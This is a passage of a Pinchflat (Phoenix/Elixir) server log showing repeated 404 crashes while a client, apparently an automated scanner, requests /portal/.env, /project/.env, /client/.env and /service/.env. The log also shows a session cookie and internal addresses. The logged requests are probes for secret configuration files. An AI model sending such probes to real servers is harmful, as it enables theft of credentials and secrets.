body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11799.0>, params: %{}, path_info: ["portal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/portal/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWusDZCJ2lHkABU0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:26.178 [info] GET /project/.env 17:14:26.179 [debug] QUERY OK source="settings" db=0.1ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.179 [debug] QUERY OK source="settings" db=0.0ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.179 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:26.179 [error] #PID<0.11800.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 33) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /project/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /project/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11800.0>, params: %{}, path_info: ["project", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/project/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWvs62p_axggABU2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /project/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:26.452 [info] GET /client/.env 17:14:26.453 [debug] QUERY OK source="settings" db=0.1ms idle=546.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.453 [debug] QUERY OK source="settings" db=0.0ms idle=546.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:26.453 [error] #PID<0.11801.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 34) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /client/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11801.0>, params: %{}, path_info: ["client", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/client/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWwuSUX6d0h4ABU4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:26.724 [info] GET /service/.env 17:14:26.725 [debug] QUERY OK source="settings" db=0.1ms idle=798.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.725 [debug] QUERY OK source="settings" db=0.1ms idle=546.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:26.725 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:26.725 [error] #PID<0.11802.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 35) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /service/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11802.0>, params: %{}, path_info: ["service", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/service/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWxvJASsp8tEABU6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: 